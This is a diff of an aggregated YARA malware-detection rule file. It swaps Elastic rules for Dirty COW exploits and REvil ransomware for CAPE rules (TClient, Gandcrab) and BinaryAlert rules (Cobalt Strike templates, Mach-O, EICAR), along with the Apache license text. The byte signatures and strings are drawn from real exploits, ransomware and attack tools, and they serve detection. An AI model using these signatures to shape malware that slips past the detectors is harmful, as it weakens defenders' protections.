+		source_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/data/yara/CAPE/TClient.yar#L1-L11"
+		license_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/LICENSE"
+		logic_hash = "6edcd01e4722b367723ed77d9596877d16ee35dc4c160885d125f83e45cee24d"
 		score = 75
-		quality = 75
-		tags = "FILE, MEMORY, CVE-2016-5195"
-		fingerprint = "c451689042d9290d1bb5b931e002237584217bbddfc0d96c2486a61cb5c37d31"
-		severity = 100
-		arch_context = "x86"
-		scan_context = "file, memory"
-		license = "Elastic License v2"
-		os = "linux"
+		quality = 70
+		tags = "FILE"
+		cape_type = "TClient Payload"
 
 	strings:
-		$a = { F8 83 45 FC 01 81 7D FC FF C1 EB 0B 7E D7 }
+		$code1 = {41 0F B6 00 4D 8D 40 01 34 01 8B D7 83 E2 07 0F BE C8 FF C7 41 0F BE 04 91 0F AF C1 41 88 40 FF 81 FF 80 03 00 00 7C D8}
 
 	condition:
-		all of them
+		uint16(0)==0x5A4D and any of ($code*)
 }
-rule ELASTIC_Linux_Exploit_CVE_2016_5195_Fb24C7E4 : FILE MEMORY CVE_2016_5195
+rule CAPE_Gandcrab : FILE
 {
 	meta:
-		description = "Detects Linux Exploit Cve 2016 5195 (Linux.Exploit.CVE-2016-5195)"
-		author = "Elastic Security"
-		id = "fb24c7e4-db4f-405e-8e88-bc313b9a0358"
-		date = "2021-04-06"
-		modified = "2021-09-16"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Exploit_CVE_2016_5195.yar#L221-L239"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "a073c6be047ea7b4500b1ffdc8bdadd9a06f9efccd38c88e0fc976b97b2b2df5"
-		logic_hash = "17a2a628f2d1fa088a1e0c5b2ad3f08e24b8504033b328c944b9ae83a5d12fcc"
+		description = "Gandcrab Payload"
+		author = "kevoreilly"
+		id = "0082e8c9-952e-508c-a438-4e17b8031864"
+		date = "2022-06-09"
+		modified = "2022-06-09"
+		reference = "https://github.com/kevoreilly/CAPEv2"
+		source_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/data/yara/CAPE/Gandcrab.yar#L1-L14"
+		license_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/LICENSE"
+		logic_hash = "354ed566dbafbe8e9531bb771d9846952eb8c0e70ee94c26d09368159ce4142c"
 		score = 75
-		quality = 75
-		tags = "FILE, MEMORY, CVE-2016-5195"
-		fingerprint = "0a5f15ddb425a6e00f6c3964b4dbdc91a856fd06b6e45dfd4fded8ed97f21ae8"
-		severity = 100
-		arch_context = "x86"
-		scan_context = "file, memory"
-		license = "Elastic License v2"
-		os = "linux"
+		quality = 70
+		tags = "FILE"
+		cape_type = "Gandcrab Payload"
 
 	strings:
-		$a = { F8 83 45 FC 01 81 7D FC FF C1 EB 0B 7E ?? 8B 45 }
+		$string1 = "GDCB-DECRYPT.txt" wide
+		$string2 = "GandCrabGandCrabnomoreransom.coinomoreransom.bit"
+		$string3 = "action=result&e_files=%d&e_size=%I64u&e_time=%d&" wide
+		$string4 = "KRAB-DECRYPT.txt" wide
 
 	condition:
-		all of them
+		uint16(0)==0x5A4D and any of ($string*)
 }
-rule ELASTIC_Linux_Exploit_CVE_2016_5195_B45098Df : FILE MEMORY CVE_2016_5195
-{
-	meta:
-		description = "Detects Linux Exploit Cve 2016 5195 (Linux.Exploit.CVE-2016-5195)"
-		author = "Elastic Security"
-		id = "b45098df-7f26-44a9-8078-f1c05d15cc38"
-		date = "2021-04-06"
-		modified = "2021-09-16"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Exploit_CVE_2016_5195.yar#L241-L259"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "e053aca86570b3781b3e08daab51382712270d2a375257c8b5789d3d87149314"
-		logic_hash = "4622551b73a12c5399df1f4e052ce32b4cee04486a870bc92942c8597dcad1f7"
-		score = 75
-		quality = 75
-		tags = "FILE, MEMORY, CVE-2016-5195"
-		fingerprint = "ed32e66f2c18b16a6f00d6a696a32cdb1b0b18413b4c1af059097f5d301ee084"
-		severity = 100
-		arch_context = "x86"
-		scan_context = "file, memory"
-		license = "Elastic License v2"
-		os = "linux"
+/*
+ * YARA Rule Set
+ * Repository Name: BinaryAlert
+ * Repository: https://github.com/airbnb/binaryalert/
+ * Retrieval Date: 2024-09-01
+ * Git Commit: a9c0f06affc35e1f8e45bb77f835b92350c68a0b
+ * Number of Rules: 80
+ * Skipped: 0 (age), 1 (quality), 0 (score), 0 (importance)
+ *
+ *
+ * LICENSE
+ *
+ *                                  Apache License
+                           Version 2.0, January 2004
+                        http://www.apache.org/licenses/
 
-	strings:
-		$a = { FC 83 45 F8 01 81 7D F8 FF C1 EB 0B 7E D7 }
+   TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
+
+   1. Definitions.
+
+      "License" shall mean the terms and conditions for use, reproduction,
+      and distribution as defined by Sections 1 through 9 of this document.
+
+      "Licensor" shall mean the copyright owner or entity authorized by
+      the copyright owner that is granting the License.
+
+      "Legal Entity" shall mean the union of the acting entity and all
+      other entities that control, are controlled by, or are under common
+      control with that entity. For the purposes of this definition,
+      "control" means (i) the power, direct or indirect, to cause the
+      direction or management of such entity, whether by contract or
+      otherwise, or (ii) ownership of fifty percent (50%) or more of the
+      outstanding shares, or (iii) beneficial ownership of such entity.
+
+      "You" (or "Your") shall mean an individual or Legal Entity
+      exercising permissions granted by this License.
+
+      "Source" form shall mean the preferred form for making modifications,
+      including but not limited to software source code, documentation
+      source, and configuration files.
+
+      "Object" form shall mean any form resulting from mechanical
+      transformation or translation of a Source form, including but
+      not limited to compiled object code, generated documentation,
+      and conversions to other media types.
+
+      "Work" shall mean the work of authorship, whether in Source or
+      Object form, made available under the License, as indicated by a
+      copyright notice that is included in or attached to the work
+      (an example is provided in the Appendix below).
+
+      "Derivative Works" shall mean any work, whether in Source or Object
+      form, that is based on (or derived from) the Work and for which the
+      editorial revisions, annotations, elaborations, or other modifications
+      represent, as a whole, an original work of authorship. For the purposes
+      of this License, Derivative Works shall not include works that remain
+      separable from, or merely link (or bind by name) to the interfaces of,
+      the Work and Derivative Works thereof.
+
+      "Contribution" shall mean any work of authorship, including
+      the original version of the Work and any modifications or additions
+      to that Work or Derivative Works thereof, that is intentionally
+      submitted to Licensor for inclusion in the Work by the copyright owner
+      or by an individual or Legal Entity authorized to submit on behalf of
+      the copyright owner. For the purposes of this definition, "submitted"
+      means any form of electronic, verbal, or written communication sent
+      to the Licensor or its representatives, including but not limited to
+      communication on electronic mailing lists, source code control systems,
+      and issue tracking systems that are managed by, or on behalf of, the
+      Licensor for the purpose of discussing and improving the Work, but
+      excluding communication that is conspicuously marked or otherwise
+      designated in writing by the copyright owner as "Not a Contribution."
+
+      "Contributor" shall mean Licensor and any individual or Legal Entity
+      on behalf of whom a Contribution has been received by Licensor and
+      subsequently incorporated within the Work.
+
+   2. Grant of Copyright License. Subject to the terms and conditions of
+      this License, each Contributor hereby grants to You a perpetual,
+      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+      copyright license to reproduce, prepare Derivative Works of,
+      publicly display, publicly perform, sublicense, and distribute the
+      Work and such Derivative Works in Source or Object form.
+
+   3. Grant of Patent License. Subject to the terms and conditions of
+      this License, each Contributor hereby grants to You a perpetual,
+      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+      (except as stated in this section) patent license to make, have made,
+      use, offer to sell, sell, import, and otherwise transfer the Work,
+      where such license applies only to those patent claims licensable
+      by such Contributor that are necessarily infringed by their
+      Contribution(s) alone or by combination of their Contribution(s)
+      with the Work to which such Contribution(s) was submitted. If You
+      institute patent litigation against any entity (including a
+      cross-claim or counterclaim in a lawsuit) alleging that the Work
+      or a Contribution incorporated within the Work constitutes direct
+      or contributory patent infringement, then any patent licenses
+      granted to You under this License for that Work shall terminate
+      as of the date such litigation is filed.
+
+   4. Redistribution. You may reproduce and distribute copies of the
+      Work or Derivative Works thereof in any medium, with or without
+      modifications, and in Source or Object form, provided that You
+      meet the following conditions:
+
+      (a) You must give any other recipients of the Work or
+          Derivative Works a copy of this License; and
+
+      (b) You must cause any modified files to carry prominent notices
+          stating that You changed the files; and
+
+      (c) You must retain, in the Source form of any Derivative Works
+          that You distribute, all copyright, patent, trademark, and
+          attribution notices from the Source form of the Work,
+          excluding those notices that do not pertain to any part of
+          the Derivative Works; and
+
+      (d) If the Work includes a "NOTICE" text file as part of its
+          distribution, then any Derivative Works that You distribute must
+          include a readable copy of the attribution notices contained
+          within such NOTICE file, excluding those notices that do not
+          pertain to any part of the Derivative Works, in at least one
+          of the following places: within a NOTICE text file distributed
+          as part of the Derivative Works; within the Source form or
+          documentation, if provided along with the Derivative Works; or,
+          within a display generated by the Derivative Works, if and
+          wherever such third-party notices normally appear. The contents
+          of the NOTICE file are for informational purposes only and
+          do not modify the License. You may add Your own attribution
+          notices within Derivative Works that You distribute, alongside
+          or as an addendum to the NOTICE text from the Work, provided
+          that such additional attribution notices cannot be construed
+          as modifying the License.
+
+      You may add Your own copyright statement to Your modifications and
+      may provide additional or different license terms and conditions
+      for use, reproduction, or distribution of Your modifications, or
+      for any such Derivative Works as a whole, provided Your use,
+      reproduction, and distribution of the Work otherwise complies with
+      the conditions stated in this License.
+
+   5. Submission of Contributions. Unless You explicitly state otherwise,
+      any Contribution intentionally submitted for inclusion in the Work
+      by You to the Licensor shall be under the terms and conditions of
+      this License, without any additional terms or conditions.
+      Notwithstanding the above, nothing herein shall supersede or modify
+      the terms of any separate license agreement you may have executed
+      with Licensor regarding such Contributions.
+
+   6. Trademarks. This License does not grant permission to use the trade
+      names, trademarks, service marks, or product names of the Licensor,
+      except as required for reasonable and customary use in describing the
+      origin of the Work and reproducing the content of the NOTICE file.
+
+   7. Disclaimer of Warranty. Unless required by applicable law or
+      agreed to in writing, Licensor provides the Work (and each
+      Contributor provides its Contributions) on an "AS IS" BASIS,
+      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
+      implied, including, without limitation, any warranties or conditions
+      of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
+      PARTICULAR PURPOSE. You are solely responsible for determining the
+      appropriateness of using or redistributing the Work and assume any
+      risks associated with Your exercise of permissions under this License.
+
+   8. Limitation of Liability. In no event and under no legal theory,
+      whether in tort (including negligence), contract, or otherwise,
+      unless required by applicable law (such as deliberate and grossly
+      negligent acts) or agreed to in writing, shall any Contributor be
+      liable to You for damages, including any direct, indirect, special,
+      incidental, or consequential damages of any character arising as a
+      result of this License or out of the use or inability to use the
+      Work (including but not limited to damages for loss of goodwill,
+      work stoppage, computer failure or malfunction, or any and all
+      other commercial damages or losses), even if such Contributor
+      has been advised of the possibility of such damages.
 
-	condition:
-		all of them
-}
-rule ELASTIC_Linux_Exploit_CVE_2016_5195_9C67A994 : FILE MEMORY CVE_2016_5195
-{
-	meta:
-		description = "Detects Linux Exploit Cve 2016 5195 (Linux.Exploit.CVE-2016-5195)"
-		author = "Elastic Security"
-		id = "9c67a994-dabf-4cb7-95d7-4cc47402be28"
-		date = "2021-04-06"
-		modified = "2021-09-16"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Exploit_CVE_2016_5195.yar#L261-L279"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "70429d67402a43ed801e295b1ae1757e4fccd5d786c09ee054591ae51dfc1b25"
-		logic_hash = "742ce59fadefe242ca97d8ce603976fa8b5e1ba55ede38434c04dcd6f4891712"
-		score = 75
-		quality = 75
-		tags = "FILE, MEMORY, CVE-2016-5195"
-		fingerprint = "fc6690eef99dd9f84f62444d7a7e1b52dc7f46e831a5ab3e87d4282bba979fde"
-		severity = 100
-		arch_context = "x86"
-		scan_context = "file, memory"
-		license = "Elastic License v2"
-		os = "linux"
+   9. Accepting Warranty or Additional Liability. While redistributing
+      the Work or Derivative Works thereof, You may choose to offer,
+      and charge a fee for, acceptance of support, warranty, indemnity,
+      or other liability obligations and/or rights consistent with this
+      License. However, in accepting such obligations, You may act only
+      on Your own behalf and on Your sole responsibility, not on behalf
+      of any other Contributor, and only if You agree to indemnify,
+      defend, and hold each Contributor harmless for any liability
+      incurred by, or claims asserted against, such Contributor by reason
+      of your accepting any such warranty or additional liability.
 
-	strings:
-		$a = { FC 83 45 F8 01 81 7D F8 FF C1 EB 0B 7E ?? 8B }
+   END OF TERMS AND CONDITIONS
 
-	condition:
-		all of them
-}
-rule ELASTIC_Linux_Exploit_CVE_2016_5195_Ab87C1Ed : FILE MEMORY CVE_2016_5195
-{
-	meta:
-		description = "Detects Linux Exploit Cve 2016 5195 (Linux.Exploit.CVE-2016-5195)"
-		author = "Elastic Security"
-		id = "ab87c1ed-f538-4785-b7ae-5333a7ff2808"
-		date = "2021-04-06"
-		modified = "2021-09-16"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Exploit_CVE_2016_5195.yar#L281-L299"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "c13c32d3a14cbc9c2580b1c76625cce8d48c5ae683230149a3f41640655e7f28"
-		logic_hash = "737f5ff982d2b656918ad3258ca20bce2ec416f2af743335b9a87a86f78be810"
-		score = 75
-		quality = 75
-		tags = "FILE, MEMORY, CVE-2016-5195"
-		fingerprint = "3bf2be85120ef3711dd3508bf8fcd573a70c7ad4a5066be1b60d777a53cd37b6"
-		severity = 100
-		arch_context = "x86"
-		scan_context = "file, memory"
-		license = "Elastic License v2"
-		os = "linux"
+   APPENDIX: How to apply the Apache License to your work.
 
-	strings:
-		$a = { FF FF 88 45 EF 80 7D EF FF 75 D6 B8 ?? ?? 04 08 }
+      To apply the Apache License to your work, attach the following
+      boilerplate notice, with the fields enclosed by brackets "{}"
+      replaced with your own identifying information. (Don't include
+      the brackets!)  The text should be enclosed in the appropriate
+      comment syntax for the file format. We also recommend that a
+      file or class name and description of purpose be included on the
+      same "printed page" as the copyright notice for easier
+      identification within third-party archives.
 
-	condition:
-		all of them
-}
-rule ELASTIC_Linux_Exploit_CVE_2016_5195_F1C0482A : FILE MEMORY CVE_2016_5195
-{
-	meta:
-		description = "Detects Linux Exploit Cve 2016 5195 (Linux.Exploit.CVE-2016-5195)"
-		author = "Elastic Security"
-		id = "f1c0482a-fe88-4777-8d49-aa782bf25a98"
-		date = "2021-04-06"
-		modified = "2021-09-16"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Exploit_CVE_2016_5195.yar#L301-L319"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "a12a1e8253ee1244b018fd3bdcb6b7729dfe16e06aed470f6b08344a110a4061"
-		logic_hash = "084ba60d8464ef5bf3a3aa942bb88caf447c6cee3ebf023157bd261226057663"
-		score = 75
-		quality = 75
-		tags = "FILE, MEMORY, CVE-2016-5195"
-		fingerprint = "96d1ed843aeb59dd43dd76f4edd9e9928dd29f86df87b70d875473b9d908e75c"
-		severity = 100
-		arch_context = "x86"
-		scan_context = "file, memory"
-		license = "Elastic License v2"
-		os = "linux"
+   Copyright {yyyy} {name of copyright owner}
 
-	strings:
-		$a = { FF FF 88 45 F7 80 7D F7 FF 75 D6 B8 ?? ?? 04 08 }
+   Licensed under the Apache License, Version 2.0 (the "License");
+   you may not use this file except in compliance with the License.
+   You may obtain a copy of the License at
 
-	condition:
-		all of them
-}
-rule ELASTIC_Linux_Exploit_CVE_2017_100011_21025F50 : FILE MEMORY CVE_2017_100011
-{
-	meta:
-		description = "Detects Linux Exploit Cve 2017 100011 (Linux.Exploit.CVE-2017-100011)"
-		author = "Elastic Security"
-		id = "21025f50-93af-4ea7-bdcb-ab4e210b8ac6"
-		date = "2021-01-12"
-		modified = "2021-09-16"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Exploit_CVE_2017_100011.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "32db88b2c964ce48e6d1397ca655075ea54ce298340af55ea890a2411a67d554"
-		logic_hash = "3ec54a7639ccfc019e01fa287f69a93af57087e2d67d0c8574a646afb9043db5"
-		score = 75
-		quality = 73
-		tags = "FILE, MEMORY, CVE-2017-100011"
-		fingerprint = "a50c81daf4f081d7ddf61d05ab64d8fada5c4d6cdf8d28eb30c689e868d905aa"
-		severity = 100
-		arch_context = "x86"
-		scan_context = "file, memory"
-		license = "Elastic License v2"
-		os = "linux"
+       http://www.apache.org/licenses/LICENSE-2.0
 
-	strings:
-		$a = { 5D 20 64 6F 6E 65 2C 20 6B 65 72 6E 65 6C 20 74 65 78 74 3A }
+   Unless required by applicable law or agreed to in writing, software
+   distributed under the License is distributed on an "AS IS" BASIS,
+   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+   See the License for the specific language governing permissions and
+   limitations under the License.
 
-	condition:
-		all of them
-}
-rule ELASTIC_Windows_Vulndriver_Windivert_25991186 : FILE MEMORY
+ */
+private rule BINARYALERT_Cobaltstrike_Template_Exe_PRIVATE : FILE
 {
 	meta:
-		description = "Detects Windows Vulndriver Windivert (Windows.VulnDriver.WinDivert)"
-		author = "Elastic Security"
-		id = "25991186-7a44-446c-9e97-e91bb9adfd77"
-		date = "2024-06-20"
-		modified = "2024-07-02"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_VulnDriver_WinDivert.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "8da085332782708d8767bcace5327a6ec7283c17cfb85e40b03cd2323a90ddc2"
-		logic_hash = "a67679bb2f23d1f6691c9ad23da1fd4c2402701ba1929c7abf078d7d95011a08"
+		description = "Template to provide executable detection Cobalt Strike payloads"
+		author = "@javutin, @joseselvi"
+		id = "39c27acf-1264-584d-99e0-77b0e9352078"
+		date = "2017-12-14"
+		modified = "2017-12-14"
+		reference = "https://www.cobaltstrike.com"
+		source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/hacktool/windows/hacktool_windows_cobaltstrike_template.yara#L1-L28"
+		license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE"
+		logic_hash = "492b2b0b319509fe26473add6ca50c246a0c30fb8a7f9e2631c8d3e9e146c611"
 		score = 75
-		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "43c7f0dfe43c64d644fcb0171433a8af0f7b4c38f7601d42923762c3d882ac31"
-		severity = 100
-		arch_context = "x86"
-		scan_context = "file, memory"
-		license = "Elastic License v2"
-		os = "windows"
+		quality = 80
+		tags = "FILE"
 
 	strings:
-		$original_file_name = { 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 57 00 69 00 6E 00 44 00 69 00 76 00 65 00 72 00 74 00 2E 00 73 00 79 00 73 00 00 00 }
+		$compiler = "mingw-w64 runtime failure" nocase
+		$f1 = "VirtualQuery" fullword
+		$f2 = "VirtualProtect" fullword
+		$f3 = "vfprintf" fullword
+		$f4 = "Sleep" fullword
+		$f5 = "GetTickCount" fullword
+		$c1 = { // Compare case insensitive with "msvcrt", char by char
+                0f b6 50 01 80 fa 53 74 05 80 fa 73 75 42 0f b6
+                50 02 80 fa 56 74 05 80 fa 76 75 34 0f b6 50 03
+                80 fa 43 74 05 80 fa 63 75 26 0f b6 50 04 80 fa
+                52 74 05 80 fa 72 75 18 0f b6 50 05 80 fa 54 74
+        }
 
 	condition:
-		int16 ( uint32(0x3C)+0x5c)==0x0001 and int16 ( uint32(0x3C)+0x18)==0x020b and $original_file_name
+		uint16(0)==0x5a4d and filesize <1000KB and $compiler and all of ($f*) and all of ($c*)
 }
-rule ELASTIC_Windows_Ransomware_Sodinokibi_83F05Fbe : BETA FILE MEMORY
+private rule BINARYALERT_Macho_PRIVATE : FILE
 {
 	meta:
-		description = "Identifies SODINOKIBI/REvil ransomware"
-		author = "Elastic Security"
-		id = "83f05fbe-65d1-423f-98df-21692167a1d6"
-		date = "2020-06-18"
-		modified = "2021-08-23"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.revil"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Ransomware_Sodinokibi.yar#L1-L34"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "c88fc2690deae3700e605b2affb5ecac3d1ffc92435f33209f31897d28715b8c"
+		description = "Mach-O binaries"
+		author = "Airbnb"
+		id = "04e14811-38be-54eb-8ec0-649d5469078a"
+		date = "2017-08-11"
+		modified = "2017-08-11"
+		reference = "https://github.com/airbnb/binaryalert/"
+		source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/MachO.yara#L1-L7"
+		license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE"
+		logic_hash = "2e992eb7d4ea47c9f61f3a7d8b0b6e37d0423fb08a626eaf2ddea51bfd928dfc"
 		score = 75
-		quality = 73
-		tags = "BETA, FILE, MEMORY"
-		fingerprint = "8c32ca099c9117e394379c0cc4771a15e5e4cfb1a98210c288e743a6d9cc9967"
-		threat_name = "Windows.Ransomware.Sodinokibi"
-		severity = 100
-		arch_context = "x86"
-		scan_context = "file, memory"
-		license = "Elastic License v2"
-		os = "windows"
-
-	strings:
-		$d1 = { 03 C0 01 47 30 11 4F 34 01 57 30 8B 57 78 8B C2 11 77 34 8B 77 7C 8B CE 0F A4 C1 04 C1 E0 04 01 47 28 8B C2 11 4F 2C 8B CE 0F A4 C1 01 03 C0 01 47 28 11 4F 2C 01 57 28 8B 57 70 8B C2 11 77 2C 8B 77 74 8B CE 0F A4 C1 04 C1 E0 04 01 47 20 8B C2 11 4F 24 8B CE 0F A4 C1 01 03 C0 01 47 20 11 4F 24 01 57 20 8B 57 68 8B C2 11 77 24 8B 77 6C 8B CE 0F A4 C1 04 C1 E0 04 01 47 18 8B C2 11 4F 1C 8B CE 0F A4 C1 01 03 C0 01 47 18 11 4F 1C 01 57 18 8B 57 60 8B C2 11 77 1C 8B 77 64 }
-		$d2 = { 65 78 70 61 6E 64 20 33 32 2D 62 79 74 65 20 6B 65 78 70 61 6E 64 20 31 36 2D 62 79 74 65 20 6B }
-		$d3 = { F7 6F 38 03 C8 8B 43 48 13 F2 F7 6F 20 03 C8 8B 43 38 13 F2 F7 6F 30 03 C8 8B 43 40 13 F2 F7 6F 28 03 C8 8B 43 28 13 F2 F7 6F 40 03 C8 8B 45 08 13 F2 89 48 68 89 70 6C 8B 43 38 F7 6F 38 8B C8 8B F2 8B 43 28 F7 6F 48 03 C8 13 F2 8B 43 48 F7 6F 28 03 C8 8B 43 30 13 F2 F7 6F 40 0F A4 CE 01 03 C9 03 C8 8B 43 40 13 F2 F7 6F 30 03 C8 8B 45 08 13 F2 89 48 70 89 70 74 8B 43 38 F7 6F 40 8B C8 }
-		$d4 = { 33 C0 8B 5A 68 8B 52 6C 0F A4 FE 08 C1 E9 18 0B C6 C1 E7 08 8B 75 08 0B CF 89 4E 68 8B CA 89 46 6C 33 C0 8B 7E 60 8B 76 64 0F A4 DA 19 C1 E9 07 0B C2 C1 E3 19 8B 55 08 0B CB 89 4A 60 8B CF 89 42 64 33 C0 8B 5A 10 8B 52 14 0F AC F7 15 C1 E1 0B C1 EE 15 0B C7 0B CE 8B 75 }
-		$d5 = { C1 01 C1 EE 1F 0B D1 03 C0 0B F0 8B C2 33 43 24 8B CE 33 4B 20 33 4D E4 33 45 E0 89 4B 20 8B CB 8B 5D E0 89 41 24 8B CE 33 4D E4 8B C2 31 4F 48 33 C3 8B CF 31 41 4C 8B C7 8B CE 33 48 70 8B C2 33 47 74 33 4D E4 33 C3 89 4F 70 8B CF 89 41 74 8B }
-		$d6 = { 8B 43 40 F7 6F 08 03 C8 8B 03 13 F2 F7 6F 48 03 C8 8B 43 48 13 F2 F7 2F 03 C8 8B 43 08 13 F2 F7 6F 40 03 C8 8B 43 30 13 F2 F7 6F 18 03 C8 8B 43 18 13 F2 F7 6F 30 03 C8 8B 43 38 13 F2 F7 6F 10 03 C8 8B 43 10 13 F2 F7 6F 38 03 C8 8B 43 28 13 F2 }
-		$d7 = { 8B CE 33 4D F8 8B C2 33 C3 31 4F 18 8B CF 31 41 1C 8B C7 8B CE 33 48 40 8B C2 33 4D F8 33 47 44 89 4F 40 33 C3 8B CF 89 41 44 8B C7 8B CE 33 48 68 8B C2 33 47 6C 33 4D F8 33 C3 89 4F 68 8B CF 89 41 6C 8B CE 8B }
-		$d8 = { 36 7D 49 30 85 35 C2 C3 68 60 4B 4B 7A BE 83 53 AB E6 8E 42 F9 C6 62 A5 D0 6A AD C6 F1 7D F6 1D 79 CD 20 FC E7 3E E1 B8 1A 43 38 12 C1 56 28 1A 04 C9 22 55 E0 D7 08 BB 9F 0B 1F 1C B9 13 06 35 }
-		$d9 = { C2 C1 EE 03 8B 55 08 0B CE 89 4A 4C 8B CF 89 42 48 33 C0 8B 72 30 8B 52 34 C1 E9 0C 0F A4 DF 14 0B C7 C1 E3 14 8B 7D 08 0B CB 89 4F 30 8B CE 89 47 34 33 C0 C1 E1 0C 0F AC D6 14 0B C6 C1 EA 14 89 47 08 0B CA }
-		$d10 = { 8B F2 8B 43 38 F7 6F 28 03 C8 8B 43 18 13 F2 F7 6F 48 03 C8 8B 43 28 13 F2 F7 6F 38 03 C8 8B 43 40 13 F2 F7 6F 20 0F A4 CE 01 03 C9 03 C8 8B 43 20 13 F2 F7 6F 40 03 C8 8B 43 30 13 F2 F7 6F 30 03 C8 }
-		$d11 = { 33 45 FC 31 4B 28 8B CB 31 41 2C 8B CE 8B C3 33 48 50 8B C2 33 43 54 33 CF 33 45 FC 89 4B 50 8B CB 89 41 54 8B CE 8B C3 33 48 78 8B C2 33 43 7C 33 CF 33 45 FC 89 4B 78 8B CB 89 41 7C 33 B1 A0 }
-		$d12 = { 52 24 0F A4 FE 0E C1 E9 12 0B C6 C1 E7 0E 8B 75 08 0B CF 89 4E 20 8B CA 89 46 24 33 C0 8B 7E 78 8B 76 7C 0F A4 DA 1B C1 E9 05 0B C2 C1 E3 1B 8B 55 08 0B CB 89 4A 78 8B CF 89 42 7C 33 C0 8B 9A }
-		$d13 = { F2 8B 43 38 F7 6F 20 03 C8 8B 43 40 13 F2 F7 6F 18 03 C8 8B 43 10 13 F2 F7 6F 48 03 C8 8B 43 28 13 F2 F7 6F 30 03 C8 8B 43 20 13 F2 F7 6F 38 03 C8 8B 43 30 13 F2 F7 6F 28 03 C8 8B 43 48 13 F2 }
-		$d14 = { 8B 47 30 13 F2 F7 6F 40 03 C8 13 F2 0F A4 CE 01 89 73 74 03 C9 89 4B 70 8B 47 30 F7 6F 48 8B C8 8B F2 8B 47 38 F7 6F 40 03 C8 13 F2 0F A4 CE 01 89 73 7C 03 C9 89 4B 78 8B 47 38 F7 6F 48 8B C8 }
+		quality = 80
+		tags = "FILE"
 
 	condition:
-		all of them
+		uint32(0)==0xfeedface or uint32(0)==0xcefaedfe or uint32(0)==0xfeedfacf or uint32(0)==0xcffaedfe or uint32(0)==0xcafebabe or uint32(0)==0xbebafeca
 }
-rule ELASTIC_Windows_Ransomware_Sodinokibi_182B2Cea : BETA FILE MEMORY
+rule BINARYALERT_Eicar_Av_Test
 {
 	meta:
-		description = "Identifies SODINOKIBI/REvil ransomware"
-		author = "Elastic Security"
-		id = "182b2cea-5aae-443a-9a2e-b3121a0ac8c7"
-		date = "2020-06-18"
-		modified = "2021-10-04"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.revil"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Ransomware_Sodinokibi.yar#L36-L62"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "1c23effe5f8b35c5e03ebd5e57664c8937259d464f92dda0a9df344b982e8f8c"
-		score = 75
